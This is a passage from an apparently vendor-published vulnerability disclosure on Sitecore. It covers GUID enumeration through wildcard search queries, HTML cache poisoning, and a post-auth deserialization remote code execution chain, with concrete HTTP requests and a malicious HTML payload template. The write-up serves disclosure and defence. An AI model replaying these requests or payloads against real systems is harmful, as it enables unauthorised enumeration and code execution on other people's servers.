At [3], a crucial step is performed. The code will iterate over retrieved items, and it will try to validate if our user (here, ServicesAPI) has access to this item. If yes, it will add it to the items array. If not, it will skip the item and items will not be extended.

At [4], it calculates the number of retrieved items.

This explains the strange behavior we’re seeing, where the result count is accurate but there are no results. Results are being filtered, but their count is calculated on the pre-filtered array.

That’s great, but it’s a bug - how can we abuse this behavior?

Well, if we can leverage our input into the Solr queries - and the reality they accept * and ? - we can likely enumerate items in a similar vein to a blind SQLI?

For instance, we can firstly try to enumerate GUID for the devices with this approach to find GUIDs that start with a:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

Interesting:

"TotalCount":3

So, we can continue like so, finding GUID's that start with aa:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

Giving us the total count of:

"TotalCount":2

As you can tell, we can exponentially continue this process to brute-force out valid GUIDs, until we get to the following final result:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true

To demonstrate this, we updated our PoC to automatically extract the key of the 1st device:

HTML Cache Poisoning Summary

So, we have now learnt how to poison any HTML cache key stored in the Sitecore cache - but, how painful it is depends on the configuration:

  • Extremely easy: ItemService API is exposed.
  • Easy to middling: ItemService is not exposed, but cache settings are tame enough to guess or brute-force keys.
  • Borderline impossible: ItemService is not exposed, and cache keys include GUIDs or other unknown bits.

WT-2025-0019 (CVE-2025-53691): Post-Auth Deserialization RCE

We wouldn’t be ourselves if we didn’t try to chain this shiny cache poisoning bug with some good old-fashioned RCE. So we kicked off a post-auth RCE hunting session.

One of the easiest starting points when reviewing a Java or C# codebase is to hunt for deserialization sinks, then see if they’re reachable. Our search for BinaryFormatter usages in Sitecore turned up something juicy: the Sitecore.Convert.Base64ToObject wrapper.

What does it do? Exactly what it says on the tin - it takes a base64-encoded string and turns it back into an object, courtesy of an unrestricted BinaryFormatter call. No binders, no checks, no guardrails.

public static object Base64ToObject(string data)
{
	Error.AssertString(data, "data", true);
	if (data.Length > 0)
	{
		try
		{
			byte[] buffer = Convert.FromBase64String(data); // [1]
			BinaryFormatter binaryFormatter = new BinaryFormatter();
			MemoryStream serializationStream = new MemoryStream(buffer);
			return binaryFormatter.Deserialize(serializationStream); // [2]
		}
		catch (Exception exception)
		{
			Log.Error("Error converting data to base64.", exception, typeof(Convert));
		}
	}
	return null;
}

If we could ever reach this method with our own input, it’d be an RCE worthy of an SSLVPN.

The problem? This method is not widely used in Sitecore, but we have spotted a very intriguing code path:

Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Process(ConvertToRuntimeHtmlArgs)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument)
Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls.Convert(HtmlDocument, HtmlNode, string, SafeDictionary<string,int>)
Sitecore.Convert.Base64ToObject(string)

If you followed our previous Sitecore post, the first method probably rings a bell.

Process methods are sprinkled all over Sitecore pipelines — those familiar chains of methods the platform loves to execute. A quick dig through the Sitecore config shows that one pipeline in particular wires in the Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls processor:

<convertToRuntimeHtml>
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.PrepareHtml, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ShortenLinks, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.SetImageSizes, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FixBullets, Sitecore.Kernel" />
  <processor type="Sitecore.Pipelines.ConvertToRuntimeHtml.FinalizeHtml, Sitecore.Kernel" />
</convertToRuntimeHtml>

Here we are!

The convertToRuntimeHtml pipeline eventually calls ConvertWebControls.Process - and that’s where things could get interesting, because it can lead us straight into an unprotected BinaryFormatter deserialization.

Two questions matter at this point:

  • Can we actually use the ConvertWebControls processor to hit that deserialization sink with attacker-controlled input?
  • And are we even able to trigger the convertToRuntimeHtml pipeline in the first place?

Let’s tackle the first question.

public void Process(ConvertToRuntimeHtmlArgs args)
{
	if (!args.ConvertWebControls)
	{
		return;
	}
	ConvertWebControls.Convert(args.HtmlDocument); // [1]
	ConvertWebControls.RemoveInnerValues(args.HtmlDocument);
}

private static void Convert(HtmlDocument document)
{
	SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
	HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe"); // [2]
	if (htmlNodeCollection != null)
	{
		foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
		{
			string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&amp;", "&");
			ConvertWebControls.Convert(document, htmlNode, src, controlIds); // [3]
		}
	}
	//...
	}
}

At [1], our processor will call the inner Convert method, with (we hope) the attacker-controlled HtmlDocument object.

At [2], the code selects all iframe tags.

It will then iterate over them and will use them in a call to another implementation of Convert method.

private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
	NameValueCollection nameValueCollection = new NameValueCollection();
	string text = string.Empty;
	string empty = string.Empty;
	string text2 = string.Empty;
	nameValueCollection.Add("runat", "server");
	src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
	string[] list = src.Split(new char[]
	{
		'&'
	});
	text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
	string id = node.Id; // [1]
	HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']"); // [2]
	if (htmlNode != null)
	{
		text2 = htmlNode.GetAttributeValue("value", string.Empty);
		htmlNode.ParentNode.RemoveChild(htmlNode);
	}
	HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
	foreach (object obj in nameValueCollection.Keys)
	{
		string name = (string)obj;
		htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
	}
	if (htmlNode2.Id == "scAssignID")
	{
		htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
	}
	if (text2.Length > 0)
	{
		htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); // [3]
	}
	node.ParentNode.ReplaceChild(htmlNode2, node);
}

At [1], the code retrieves the id attribute from the iframe node.

At [2], the code looks for all the tags that contain @id + _inner value.

At [3], the code calls the Sitecore.Convert.Base64ToObject with the value attribute from the extracted node.

There we have it - confirmation. If an attacker controls the HtmlDocument (the pipeline argument), they can drop in malicious HTML like this:

<html>
    <iframe id="test" src="poc" value="poc">
        <test id="test_inner" value="base64-encoded-deserialization-gadget">    
        </test>
    </iframe>
</html>

…and with that, we land straight in Base64ToObject - carrying our encoded deserialization gadget along for the ride!

If this flow feels familiar, your instincts are right. It looks almost identical to a Post-Auth RCE detailed nearly two years ago. The kicker? The vulnerable code is still present today.

The difference is that Sitecore seems to have quietly “patched” it by cutting off the exposed routes into this code path - not by fixing the underlying deserialization sink.

In other words, the dangerous functionality remains, just hidden behind fewer doors.

Now, let’s follow our spider senses and try to look for another way to reach the convertToRuntimeHtml pipeline.

In reality, we didn’t need any special senses - it turned out to be a fairly simple task.

We have identified the Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.FixHtmlPage control:

protected override void OnLoad(EventArgs e)
{
	Assert.ArgumentNotNull(e, "e");
	FixHtmlPage.HasAccess(); // [1]
	base.OnLoad(e);
	if (AjaxScriptManager.Current.IsEvent)
	{
		return;
	}
	UrlHandle urlHandle = UrlHandle.Get();
	string text = HttpUtility.HtmlDecode(this.SanitizeHtml(StringUtil.GetString(urlHandle["html"]))); // [2]
	this.OriginalHtml = text;
	try
	{
		this.Original.InnerHtml = RuntimeHtml.Convert(text, Settings.HtmlEditor.SupportWebControls); // [3]
	}
	catch
	{
	}
	this.OriginalMemo.Value = text;
	//...
}

At [1], a permission check is performed - you need Content Editor rights to get past it.

At [2], the html value is retrieved from the provided session handler. We’ve already described these handlers in our previous blog post - Sitecore can generate session-like handlers and set parameters for them.

At [3], Sitecore.Layouts.Convert(string, bool) is called:

public static string Convert(string body, bool convertWebControls)
{
	Assert.ArgumentNotNull(body, "body");
	ConvertToRuntimeHtmlArgs convertToRuntimeHtmlArgs = new ConvertToRuntimeHtmlArgs();
	convertToRuntimeHtmlArgs.Html = body;
	convertToRuntimeHtmlArgs.ConvertWebControls = convertWebControls;
	using (new LongRunningOperationWatcher(Settings.Profiling.RenderFieldThreshold, "convertToRuntimeHtml", Array.Empty<string>()))
	{
		CorePipeline.Run("convertToRuntimeHtml", convertToRuntimeHtmlArgs); // [1]
	}
	return convertToRuntimeHtmlArgs.Html;
}

You can see that the attacker-supplied HTML will be passed to the convertToRuntimeHtml pipeline, which means it will hit the vulnerable conversion control [1] - achieving RCE.

If you want to reproduce this manually through the UI, just open Content Editor > Edit HTML, paste the malicious HTML into the editor window, and hit the Fix button.

The UI won’t let you exploit this if you only have read access to the Content Editor without write permissions on items. But that doesn’t block exploitation entirely - you can still hit it through a simple HTTP request, no UI required.

The first step is to start the Content Editor application:

GET /sitecore/shell/Applications/Content%20Editor.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...

Then, you need to load the HTML content into the session, as demonstrated in the following HTTP request:

GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx HTTP/2
Host: labcm.dev.local
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 3380

&__PARAMETERS=edithtml%3Afix&__EVENTTARGET=&__EVENTARGUMENT=&__SOURCE=&__EVENTTYPE=&__CONTEXTMENU=&__MODIFIED=&__ISEVENT=1&__CSRFTOKEN=&__PAGESTATE=&__VIEWSTATE=&__EVENTVALIDATION=&scActiveRibbonStrip=&scGalleries=&ctl00$ctl00$ctl05$Html=<html><iframe+id%3d"test"+src%3d"poc"+value%3d"poc"><test+id%3d"test_inner"+value%3d"deser-gadget-here"></test></iframe></html>

Within the response, you will receive a handler hdl that stores your html:

{
    "command":"ShowModalDialog",
    "value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B",
    ...
}

Finally, it’s enough to visit the endpoint provided in the response, which will trigger the FixHtmlPage control and with our malicious HTML included:

GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=A4CB99F98F974923BA5BEBB3121B087B HTTP/2
Host: labcm.dev.local
Cookie: ...

HTML Cache Poisoning to RCE Chain

That’s it! In totality today we have presented:

  • HTML Cache Poisoning (WT-2025-0023 - CVE-2025-53693) - allows an attacker to achieve unauthenticated HTML cache poisoning.
    • Numerous ways to enumerate/brute-force valid cache keys:
      • “Enumerating Cache Keys with ItemService API” section.
      • “WT-2025-0027 (CVE-2025-53694): Enumerating Items with Restricted User” section.
  • Post-Auth Remote Code Execution:

And just for fun, a reminder of the visuals of all of this combined:

0:00
/0:35

Summary

Whew! This was long. Maybe a little bit too long, but we hope you enjoyed it.

If you don’t - blame people on Twitter (our editor is keen to highlight he voted for shorter, but he accepts his flaws).

To summarise our journey: we managed to abuse a very restricted reflection path to call a method that lets us poison any HTML cache key. That single primitive opened the door to hijacking Sitecore Experience Platform pages - and from there, dropping arbitrary JavaScript to trigger a Post-Auth RCE vulnerability.

Vulnerability chains like this are a reminder - never dismiss something just because it looks boring at first glance. Time is finite, days are short, and digging through endless code paths feels painful. But when you stumble across something that might be powerful - like reflections - it’s worth chasing down every angle. Most of the time, it leads nowhere. Sometimes, it leads to full compromise.

This kind of work is rarely glamorous and usually doesn’t pay off - but when it does, it’s glorious.

Nobody forced us to be researchers, after all, and we live with the late nights and rabbit holes because every so often, one of them leads to a chain that makes the whole effort worthwhile.

Timelines

Date Detail
24th February 2025 WT-2025-0019 discovered and disclosed to Sitecore.
24th February 2025 Sitecore confirms the receipt of the WT-2025-0019 report.
27th February 2025 WT-2025-0023 discovered and disclosed to Sitecore.
28th February 2025 Sitecore confirms the receipt of the WT-2025-0023 report.
7th March 2025 WT-2025-0027 discovered and disclosed to Sitecore.
7th March 2025 Sitecore confirms the receipt of the WT-2025-0027 report.
4th July 2025 Sitecore notifies watchTowr that WT-2025-0019 and WT-2025-0023 had been already fixed on 16th June. WT-2025-0027 still waits for the patch.
8th July 2025 WT-2025-0027 patch released (to watchTowr surprise)
30th July 2025 Sitecore notifies watchTowr that WT-2025-0027 was patched and provides the CVE numbers assigned to the vulnerabilities.
29th August 2025 Blog post published.

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO